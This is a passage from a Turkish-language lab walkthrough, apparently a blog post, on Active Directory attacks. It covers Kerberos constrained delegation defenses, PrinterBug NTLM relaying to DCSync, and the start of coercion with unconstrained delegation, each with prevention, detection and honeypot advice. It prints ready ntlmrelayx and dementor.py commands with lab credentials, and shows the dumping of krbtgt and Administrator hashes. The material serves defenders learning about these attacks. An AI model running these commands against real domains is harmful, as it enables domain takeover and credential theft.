&lt;p&gt;Doküman iyi haberle başlıyor: Microsoft, Kerberos Delegasyonunu tasarlarken &lt;strong&gt;birkaç koruma mekanizması uyguladı.&lt;/strong&gt; Ancak — ve bu kritik — bunları &lt;strong&gt;hiçbir kullanıcı hesabında varsayılan olarak etkinleştirmedi.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Delegasyon yoluyla bir kullanıcı için bilet düzenlenmesini engellemenin &lt;strong&gt;iki doğrudan yolu&lt;/strong&gt; var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) "Account is sensitive and cannot be delegated" özelliğini yapılandırın.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Bu, &lt;strong&gt;tüm ayrıcalıklı kullanıcılar&lt;/strong&gt; için yapılmalıdır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Ayrıcalıklı kullanıcıları "Protected Users" grubuna ekleyin.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Bu grup üyeliği, yukarıda bahsedilen korumayı &lt;strong&gt;otomatik olarak uygular.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ Uyarı: Protected Users grubunu:&lt;br&gt;
Windows Server 2012 R2 ile gelen özel bir güvenlik grubudur. Amacı, içine eklenen kullanıcılar için birden fazla güvenlik korumasını &lt;strong&gt;tek seferde ve otomatik olarak&lt;/strong&gt; uygulamaktır, yani bu grup, gruba üye olan hesaplar için özel bir "sıkılaştırılmış güvenlik modu" açar.&lt;br&gt;
&lt;strong&gt;Bir kullanıcıyı bu gruba eklediğinde otomatik olarak devreye giren korumalar:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;NTLM devre dışı kalır&lt;/strong&gt; — kullanıcı artık sadece Kerberos ile kimlik doğrulayabilir&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zayıf şifreleme kapanır&lt;/strong&gt; — Kerberos DES ve RC4 kullanılamaz, sadece AES kullanılır&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delegasyon engellenir&lt;/strong&gt; — hesap hiçbir şekilde delegasyona konu edilemez (bu bölümdeki saldırıya karşı koruma budur)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bilet ömrü kısalır ve uzatılamaz&lt;/strong&gt; — TGT varsayılan olarak 4 saatte sona erer, yenilenemez&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Önbellekli kimlik bilgileri saklanmaz&lt;/strong&gt; — makine Domain Controller'a ulaşamazsa o kullanıcı giriş yapamaz&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Tipik kullanım amacı:&lt;/strong&gt; Domain Admins gibi çok yüksek yetkili hesapları, yukarıdaki gibi bilinen birçok saldırı tekniğine (Pass-the-Hash, delegasyon istismarı, Kerberoasting'in bazı türleri) karşı topluca korumak.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ama bir bedeli var&lt;/strong&gt; (az önce konuştuğumuz uyarı tam burada devreye giriyor): Bu korumalar &lt;strong&gt;hepsi birlikte ve zorunlu&lt;/strong&gt; olarak gelir, tek tek seçilemez. Bu yüzden gruba eklemeden önce, o hesabın NTLM'e ihtiyaç duyan bir sisteme bağlanıp bağlanmadığı veya offline çalışması gerekip gerekmediği gibi noktaların test edilmesi gerekir.&lt;br&gt;
!!!&lt;br&gt;
Protected Users grubu sadece delegasyonu değil; NTLM girişini, RC4/DES şifrelemeyi ve önbellekli (cached) girişleri de otomatik olarak kapatır, bilet ömrünü de kısaltır. Bu yüzden hangi uygulamaların etkileneceği önceden test edilmeden üretim ortamında kullanılması önerilmez.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;**Ek olarak:&lt;/p&gt;

&lt;p&gt;Delegasyon için yapılandırılmış &lt;strong&gt;her hesabı&lt;/strong&gt;, gerçek yetkileri ne olursa olsun (örneğin sadece bir Domain user bile olsa) &lt;strong&gt;son derece ayrıcalıklı&lt;/strong&gt; olarak değerlendirmeliyiz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kriptografik olarak güvenli parolalar şarttır&lt;/strong&gt;, çünkü &lt;strong&gt;Kerberoasting'in&lt;/strong&gt;, tehdit aktörlerine delegasyon ayrıcalıklarına sahip bir hesap kazandırmasını istemeyiz.&lt;/p&gt;


&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Birinci yöntem, Kullanıcı davranışı korelasyonu:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Doküman bunu "constrained delegation istismarını tespit etmenin &lt;strong&gt;en iyi tekniği&lt;/strong&gt;" olarak niteliyor.&lt;/p&gt;

&lt;p&gt;Bir kullanıcının düzenli olarak giriş yaptığı &lt;strong&gt;konumu ve zamanı&lt;/strong&gt; biliyorsak, diğer (şüpheli) davranışlar için alarm kurmak kolay olur. Yukarıdaki saldırıdaki &lt;strong&gt;'Administrator'&lt;/strong&gt; hesabını düşünün: Olgun bir organizasyon &lt;strong&gt;PAW (Privileged Access Workstations)&lt;/strong&gt; kullanıyorsa, ayrıcalıklı kullanıcıların bu makineler dışından kimlik doğrulaması yapmasına karşı uyanık olmalı ve &lt;strong&gt;Event ID 4624&lt;/strong&gt; (başarılı oturum açma) olaylarını proaktif olarak izlemelidir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İkinci yöntem — Transited Services özelliği:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Doküman burada bu bölüme özgü, çok değerli bir tespit noktası veriyor:&lt;/p&gt;

&lt;p&gt;Bazı durumlarda, &lt;strong&gt;delege edilmiş bir biletle&lt;/strong&gt; yapılan başarılı oturum açma girişimi, olay günlüğünde &lt;strong&gt;Transited Services&lt;/strong&gt; özelliği altında &lt;strong&gt;biletin düzenleyicisi (issuer)&lt;/strong&gt; hakkında bilgi içerir.&lt;/p&gt;

&lt;p&gt;Bu özellik normalde, oturum açmanın bir &lt;strong&gt;S4U (Service For User)&lt;/strong&gt; oturum açma sürecinden kaynaklanması durumunda doldurulur.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;S4U nedir?&lt;/strong&gt; Dokümanın tanımı: Microsoft'un Kerberos protokolüne yaptığı bir uzantıdır ve &lt;strong&gt;bir uygulama servisinin, bir kullanıcı adına Kerberos servis bileti almasına&lt;/strong&gt; izin verir. Hatırlayın — Rubeus'u kullandığımız saldırı akışında tam olarak bu &lt;strong&gt;S4U uzantısını&lt;/strong&gt; belirtmiştik.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab'daki örnek olay:&lt;/strong&gt; &lt;code&gt;web service&lt;/code&gt; kullanıcısı kullanılarak &lt;code&gt;Administrator&lt;/code&gt; kullanıcısı için bir bilet üretildi ve bu bilet Domain Controller'a bağlanmak için kullanıldı — yani yukarıdaki saldırı yolunun tam olarak kendisi:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg9t018qk77j6w94e4mdt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg9t018qk77j6w94e4mdt.png" alt=" " width="791" height="655"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Account Name: Administrator&lt;/code&gt; ve &lt;code&gt;Source Network Address: 172.16.18.25&lt;/code&gt; → &lt;strong&gt;"Correlate user and source IP"&lt;/strong&gt; (Kullanıcı ile kaynak IP'yi ilişkilendir)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Transited Services: webservice@KRYSTHAL.LOCAL&lt;/code&gt; → &lt;strong&gt;"User who generated the ticket via S4U"&lt;/strong&gt; (Bileti S4U ile üreten kullanıcı)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;Bu bölümde &lt;strong&gt;Honeypot alt başlığı yok.&lt;/strong&gt; Bölüm Detection ile bitiyor ve doğrudan bir sonraki bölüme (Print Spooler &amp;amp; NTLM Relaying) geçiyor.&lt;/p&gt;


&lt;h4&gt;
  
  
  Özet Tablosu
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Kriter                | Kerberos Constrained Delegation                          |
|-----------------------|----------------------------------------------------------|
| Delegasyon amacı      | Uygulamanın farklı sunucudaki kaynaklara erişmesi        |
| 3 tür                 | Unconstrained / Constrained / Resource-based             |
| Yapılandırma yeri     | Constrained → kullanıcı özellikleri                      |
|                       | Resource-based → bilgisayar nesnesi                      |
| Üretimde yaygınlık    | Unconstrained ve Constrained sık, Resource-based nadir   |
| Bu bölümün konusu     | Sadece Constrained Delegation istismarı                  |
| Ele geçirilen hesap   | web_service (parola: MWP123)                           |
| Kilit AD özellikleri  | msds-allowedtodelegateto                                 |
|                       | TRUSTED_TO_AUTH_FOR_DELEGATION                           |
| Araçlar               | PowerView (Get-NetUser -TrustedToAuth), Rubeus (hash,s4u)|
| Protokol geçişi       | LDAP yetkisi → CIFS/HTTP gibi başka servislere geçiş     |
| Parola gerekli mi     | HAYIR — kurbanın parolası sağlanmadan bilet üretilir     |
| Ek servisler          | /altservice ile LDAP, CFIS, time, host                   |
| Önleme 1              | "Account is sensitive and cannot be delegated"           |
| Önleme 2              | Protected Users grubu (etkilerini anlamadan kullanma)    |
| Önleme 3              | Kriptografik güvenli parola (Kerberoasting'e karşı)      |
| Tespit 1              | Event ID 4624 + PAW korelasyonu                          |
| Tespit 2              | Transited Services alanı (S4U izini gösterir)                                                
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  BÖLÜM 12: PRINT SPOOLER &amp;amp; NTLM RELAYING
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Print Spooler&lt;/strong&gt;, en son Windows Desktop ve Server sürümlerinde bile varsayılan olarak etkin olan eski bir servistir.&lt;/p&gt;

&lt;p&gt;Bu servis, 2018 yılında &lt;strong&gt;Lee Christensen&lt;/strong&gt;'in &lt;strong&gt;PrinterBug&lt;/strong&gt;'ı bulmasıyla popüler bir saldırı vektörü haline geldi. &lt;strong&gt;&lt;code&gt;RpcRemoteFindFirstPrinterChangeNotification&lt;/code&gt;&lt;/strong&gt; ve &lt;strong&gt;&lt;code&gt;RpcRemoteFindFirstPrinterChangeNotificationEx&lt;/code&gt;&lt;/strong&gt; fonksiyonları kötüye kullanılarak, uzak bir makinenin &lt;strong&gt;erişebildiği herhangi bir başka makineye bağlantı yapmaya zorlanması&lt;/strong&gt; sağlanabilir.&lt;/p&gt;

&lt;p&gt;Dahası, bu &lt;strong&gt;ters bağlantı (reverse connection)&lt;/strong&gt; kimlik doğrulama bilgisini bir &lt;strong&gt;TGT&lt;/strong&gt; olarak taşıyacaktır. Bu nedenle, &lt;strong&gt;herhangi bir domain kullanıcısı&lt;/strong&gt;, &lt;code&gt;RemoteServer$&lt;/code&gt; hesabını herhangi bir makineye kimlik doğrulamaya zorlayabilir (coerce edebilir).&lt;/p&gt;

&lt;p&gt;Microsoft'un PrinterBug konusundaki tutumu şuydu: bu &lt;strong&gt;düzeltilmeyecek&lt;/strong&gt;, çünkü sorun &lt;strong&gt;"tasarım gereği" (by-design)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PrinterBug'ın etkisi:&lt;/strong&gt; Print Spooler'ı etkin olan &lt;strong&gt;herhangi bir Domain Controller&lt;/strong&gt;, aşağıdaki yollardan biriyle ele geçirilebilir:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı başka bir DC'ye relay edip DCSync gerçekleştirmek&lt;/strong&gt; (SMB Signing devre dışıysa)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain Controller'ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak&lt;/strong&gt; — bu, TGT'yi UD sunucusunun belleğinde önbelleğe alır, ve bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı Active Directory Certificate Services'e relay edip Domain Controller için bir sertifika elde etmek.&lt;/strong&gt; Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek.&lt;/strong&gt; Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz&lt;/li&gt;
&lt;/ol&gt;


&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Bu saldırı yolunda, bağlantıyı &lt;strong&gt;başka bir DC'ye relay edip DCSync gerçekleştireceğiz&lt;/strong&gt; (yani listelenen ilk ele geçirme tekniği). Saldırının başarılı olması için, Domain Controller'larda &lt;strong&gt;SMB Signing'in kapalı olması&lt;/strong&gt; gerekir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 1 — NTLMRelayx'i yapılandırma:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Başlamak için, &lt;code&gt;NTLMRelayx&lt;/code&gt;'i herhangi bir bağlantıyı DC2'ye iletecek ve DCSync saldırısını gerçekleştirmeye çalışacak şekilde yapılandırıyoruz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-ntlmrelayx &lt;span class="nt"&gt;-t&lt;/span&gt; dcsync://172.16.18.4 &lt;span class="nt"&gt;-smb2support&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5cmm4yleu14suivmo1hl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5cmm4yleu14suivmo1hl.png" alt=" " width="603" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 2 — PrinterBug'ı tetikleme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sırada, NTLMRelayx dinlemede iken Kali makinesini kullanarak &lt;strong&gt;PrinterBug'ı tetiklememiz&lt;/strong&gt; gerekiyor. Bağlantıyı geri tetiklemek için &lt;strong&gt;Dementor&lt;/strong&gt; kullanacağız (domain'e katılmamış bir makineden çalıştırılırken, kimliği doğrulanmış herhangi bir kullanıcının kimlik bilgileri gereklidir, ve bu durumda daha önce &lt;strong&gt;infa yı&lt;/strong&gt; ele geçirdiğimizi varsaydık):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 ./dementor.py 172.16.18.20 172.16.18.3 &lt;span class="nt"&gt;-u&lt;/span&gt; infa &lt;span class="nt"&gt;-d&lt;/span&gt; krysthal.local &lt;span class="nt"&gt;-p&lt;/span&gt; MWP123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffphjlyzq8ev8lz2wjyvd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffphjlyzq8ev8lz2wjyvd.png" alt=" " width="797" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 3 — NTLMRelayx tarafında sonucu görme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Şimdi, &lt;code&gt;NTLMRelayx&lt;/code&gt; ile terminal oturumuna geri döndüğümüzde, &lt;strong&gt;DCSync'in başarılı olduğunu&lt;/strong&gt; göreceğiz:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F67guyuejqj442r1xc8qy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F67guyuejqj442r1xc8qy.png" alt=" " width="800" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Görüldüğü gibi, &lt;strong&gt;krbtgt&lt;/strong&gt;, &lt;strong&gt;DC2$&lt;/strong&gt; ve &lt;strong&gt;Administrator&lt;/strong&gt; hesaplarının parola hash'leri elde edildi, DCSync saldırısı, PrinterBug ile tetiklenen bir relay saldırısı üzerinden başarıyla gerçekleştirildi.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Print Spooler&lt;/strong&gt;, yazdırma sunucusu olmayan &lt;strong&gt;tüm sunucularda devre dışı bırakılmalıdır.&lt;/strong&gt; Domain Controller'lar ve diğer temel (core) sunucular, çekirdek AD altyapısına yönelik saldırı yüzeyini açan ve genişleten &lt;strong&gt;ek roller/işlevsellikler&lt;/strong&gt; asla barındırmamalıdır.&lt;/p&gt;

&lt;p&gt;Ayrıca, servisi &lt;strong&gt;çalışır durumda tutarken&lt;/strong&gt; PrinterBug'ın kötüye kullanılmasını önlemek için bir seçenek daha vardır: &lt;strong&gt;&lt;code&gt;RegisterSpoolerRemoteRpcEndPoint&lt;/code&gt;&lt;/strong&gt; registry anahtarını devre dışı bırakmak. Bu anahtar devre dışı bırakıldığında, gelen tüm &lt;strong&gt;uzak istekler engellenir&lt;/strong&gt;; bu, sanki servis uzak istemciler için devre dışı bırakılmış gibi davranır.&lt;/p&gt;

&lt;p&gt;Registry anahtarını &lt;strong&gt;1&lt;/strong&gt; olarak ayarlamak &lt;strong&gt;etkinleştirir&lt;/strong&gt;, &lt;strong&gt;2&lt;/strong&gt; olarak ayarlamak ise &lt;strong&gt;devre dışı bırakır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvlsj7tz70hv9e01tfksy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvlsj7tz70hv9e01tfksy.png" alt=" " width="411" height="60"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;PrinterBug'ı istismar etmek, Domain Controller'a doğru ağ bağlantı izleri bırakacaktır; ancak bunlar &lt;strong&gt;bir tespit mekanizması olarak kullanılamayacak kadar geneldir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NTLMRelayx kullanılarak DCSync gerçekleştirilmesi durumunda&lt;/strong&gt;, (DCSync bölümünde bahsedildiği gibi) &lt;strong&gt;Event ID 4662 üretilmez&lt;/strong&gt;; ancak, DC1'in hash'lerini DC2'den elde etmek için, &lt;strong&gt;DC1 için başarılı bir oturum açma event'i&lt;/strong&gt; oluşacaktır. Bu event, &lt;strong&gt;Domain Controller'ın değil, Kali makinesinin IP adresinden&lt;/strong&gt; kaynaklanır, aşağıda görebileceğimiz gibi:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fngaz6its4tvi4v4h3s4b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fngaz6its4tvi4v4h3s4b.png" alt=" " width="732" height="683"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uygun bir tespit mekanizması&lt;/strong&gt;, her zaman &lt;strong&gt;çekirdek altyapı sunucularından gelen tüm oturum açma girişimlerini&lt;/strong&gt;, bunların &lt;strong&gt;kendi IP adresleriyle&lt;/strong&gt; (bunlar statik ve bilinen olmalıdır) &lt;strong&gt;ilişkilendirir (correlate).&lt;/strong&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;PrinterBug, ortamda &lt;strong&gt;şüpheli davranışı uyarma aracı olarak&lt;/strong&gt; kullanılabilir. Bu senaryoda, sunucularımızdan &lt;strong&gt;139 ve 445 portlarına&lt;/strong&gt; giden &lt;strong&gt;outbound bağlantıları engelleriz&lt;/strong&gt;; bu, yazılım veya fiziksel güvenlik duvarlarıyla (firewall) başarılabilir.&lt;/p&gt;

&lt;p&gt;Bug'ın istismar edilmesi tetiklenebilse bile, güvenlik duvarı kuralları &lt;strong&gt;ters bağlantının tehdit aktörüne ulaşmasına izin vermeyecektir.&lt;/strong&gt; Ancak, bu engellenen bağlantılar &lt;strong&gt;mavi takım (blue team) için bir ele geçirilme belirtisi&lt;/strong&gt; olarak işlev görecektir.&lt;/p&gt;

&lt;p&gt;Bununla ilgili herhangi bir şey uygulamadan önce, &lt;strong&gt;meşru bağlantılara izin verildiğinden emin olmak&lt;/strong&gt; için yeterli günlük kaydına (log) ve ortamımız hakkında yeterli bilgiye sahip olduğumuzdan emin olmalıyız (örneğin, DC'lerin veri replikasyonu yapabilmesi için belirtilen portları açık tutmalıyız).&lt;/p&gt;

&lt;p&gt;Bu, düşmanları kandırmak için bir honeypot olarak uygun görünse de, bunu uygulamadan önce &lt;strong&gt;dikkatli olmalıyız&lt;/strong&gt; — çünkü şu anda bu bug, makinenin bize &lt;strong&gt;geri bağlanmasını&lt;/strong&gt; gerektiriyor, ancak eğer &lt;strong&gt;ters bağlantı olmadan bir tür Uzaktan Kod Yürütme (Remote Code Execution)&lt;/strong&gt; sağlayan yeni, bilinmeyen bir bug keşfedilirse, bu durum &lt;strong&gt;bize geri tepecektir.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bu nedenle, bu seçeneği yalnızca &lt;strong&gt;son derece olgun bir organizasyon&lt;/strong&gt; isek ve yeni bir bug keşfedilmesi durumunda uyarılara &lt;strong&gt;anında hareket edebiliyorsak&lt;/strong&gt; ve tüm cihazlarda servisi &lt;strong&gt;devre dışı bırakabiliyorsak&lt;/strong&gt; düşünmeliyiz.&lt;/p&gt;




&lt;h3&gt;
  
  
  BÖLÜM 13: COERCING ATTACKS &amp;amp; UNCONSTRAINED DELEGATION
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Coercing (zorlama) saldırıları&lt;/strong&gt;, herhangi bir kullanıcıdan Domain Administrator'a yetki yükseltmek için &lt;strong&gt;tek adımlık bir çözüm (one-stop shop)&lt;/strong&gt; haline geldi. Varsayılan bir AD altyapısına sahip &lt;strong&gt;neredeyse her organizasyon&lt;/strong&gt; buna karşı savunmasızdır. &lt;strong&gt;PrinterBug&lt;/strong&gt;'ı tartıştığımızda coercing saldırılarının &lt;strong&gt;tadına zaten bakmıştık.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ancak, &lt;strong&gt;aynı işlevselliği gerçekleştirebilen birkaç başka RPC fonksiyonu daha&lt;/strong&gt; vardır. Bu nedenle, &lt;strong&gt;herhangi bir domain kullanıcısı&lt;/strong&gt;, &lt;code&gt;RemoteServer$&lt;/code&gt; hesabını domain'deki &lt;strong&gt;herhangi bir makineye&lt;/strong&gt; kimlik doğrulamaya zorlayabilir (coerce edebilir). Sonunda, &lt;strong&gt;bilinen tüm savunmasız RPC fonksiyonlarını aynı anda istismar etmek&lt;/strong&gt; için &lt;strong&gt;Coercer&lt;/strong&gt; aracı geliştirildi.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PrinterBug'a benzer şekilde&lt;/strong&gt;, bir saldırgan ters bağlantı ile birkaç &lt;strong&gt;"takip" (follow up)&lt;/strong&gt; seçeneği arasından seçim yapabilir; bunlar daha önce bahsedildiği gibi:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı başka bir DC'ye relay edip DCSync gerçekleştirmek&lt;/strong&gt; (SMB Signing devre dışıysa)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain Controller'ı, Unconstrained Delegation (UD) için yapılandırılmış bir makineye bağlanmaya zorlamak&lt;/strong&gt; — bu, TGT'yi UD sunucusunun belleğinde önbelleğe alacaktır, bu da Rubeus ve Mimikatz gibi araçlarla yakalanabilir/dışa aktarılabilir&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı Active Directory Certificate Services'e relay edip Domain Controller için bir sertifika elde etmek.&lt;/strong&gt; Tehdit aktörleri daha sonra bu sertifikayı istedikleri zaman kullanarak kimlik doğrulayabilir ve Domain Controller gibi davranabilir (örn. DCSync)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bağlantıyı, relay edilen makine için Resource-Based Kerberos Delegation yapılandırmaya relay etmek.&lt;/strong&gt; Daha sonra bu delegasyonu, o makineye herhangi bir Administrator olarak kimlik doğrulamak için kötüye kullanabiliriz&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Bu bölümde, saldırganın &lt;strong&gt;Unconstrained Delegation için yapılandırılmış bir sunucuda yönetici hakları elde ettiğini&lt;/strong&gt; varsayarak, &lt;strong&gt;ikinci "takip" seçeneğini&lt;/strong&gt; kötüye kullanacağız. TGT'yi yakalamak için bu sunucuyu kullanacağız, &lt;strong&gt;Coercer ise Kali makinesinden çalıştırılacak.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 1 — Unconstrained Delegation için yapılandırılmış sistemleri belirleme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PowerView'in &lt;strong&gt;&lt;code&gt;Get-NetComputer&lt;/code&gt;&lt;/strong&gt; fonksiyonu, &lt;strong&gt;&lt;code&gt;-Unconstrained&lt;/code&gt;&lt;/strong&gt; anahtarıyla birlikte kullanılabilir:&lt;/p&gt;

&lt;p&gt;powershell&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyafrvgsny9jterjwcbho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyafrvgsny9jterjwcbho.png" alt=" " width="800" height="141"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WS001&lt;/strong&gt; ve &lt;strong&gt;SERVER01&lt;/strong&gt;, Unconstrained delegation için güvenilir durumdadır (Domain Controller'lar varsayılan olarak güvenilirdir). Yani ya &lt;strong&gt;WS001&lt;/strong&gt; ya da &lt;strong&gt;Server01&lt;/strong&gt;, bir düşman için hedef olabilir. Senaryomuzda, &lt;strong&gt;WS001'i&lt;/strong&gt; ve bu host üzerinde yönetici haklarına sahip olan &lt;strong&gt;'infa'yı&lt;/strong&gt; zaten ele geçirmiş durumdayız.&lt;/p&gt;

